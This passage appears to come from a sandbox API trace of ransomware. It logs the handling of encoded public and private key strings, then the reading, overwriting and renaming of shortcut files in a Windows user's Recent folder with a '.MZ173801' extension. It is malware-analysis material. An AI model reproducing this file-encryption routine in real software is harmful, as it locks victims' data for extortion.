lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.996] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.996] GetCurrentThreadId () returned 0xab4 [0147.996] GetCurrentThreadId () returned 0xab4 [0147.996] GetCurrentThreadId () returned 0xab4 [0147.996] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IDF-wgV.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\idf-wgv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.996] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.996] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.997] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x277 [0147.997] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.997] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x277, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x277, lpOverlapped=0x0) returned 1 [0147.997] CloseHandle (hObject=0x280) returned 1 [0147.997] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IDF-wgV.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\idf-wgv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.998] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x277, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x277, lpOverlapped=0x0) returned 1 [0147.999] CloseHandle (hObject=0x280) returned 1 [0148.003] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IDF-wgV.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\idf-wgv.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IDF-wgV.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\idf-wgv.lnk.mz173801")) returned 1 [0148.167] GetCurrentThreadId () returned 0xab4 [0148.167] GetCurrentThreadId () returned 0xab4 [0148.167] GetCurrentThreadId () returned 0xab4 [0148.167] GetCurrentThreadId () returned 0xab4 [0148.167] GetCurrentThreadId () returned 0xab4 [0148.167] GetCurrentThreadId () returned 0xab4 [0148.167] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf36e1039, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x8198d72d, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x819b39b5, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3a2, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="iLaJJJl9bXoFrg4vmuJ.lnk", cAlternateFileName="ILAJJJ~1.LNK")) returned 1 [0148.167] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0148.167] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0148.167] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iLaJJJl9bXoFrg4vmuJ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ilajjjl9bxofrg4vmuj.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf36e1039, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x8198d72d, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x819b39b5, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3a2)) returned 1 [0148.167] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iLaJJJl9bXoFrg4vmuJ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ilajjjl9bxofrg4vmuj.lnk")) returned 0x20 [0148.167] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iLaJJJl9bXoFrg4vmuJ.lnk", dwFileAttributes=0x80) returned 1 [0148.169] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0148.170] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0148.171] GetCurrentThreadId () returned 0xab4 [0148.171] GetCurrentThreadId () returned 0xab4 [0148.171] GetCurrentThreadId () returned 0xab4 [0148.172] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0148.172] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0148.172] GetCurrentThreadId () returned 0xab4 [0148.172] GetCurrentThreadId () returned 0xab4 [0148.172] GetCurrentThreadId () returned 0xab4 [0148.173] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iLaJJJl9bXoFrg4vmuJ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ilajjjl9bxofrg4vmuj.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.173] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0148.173] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, 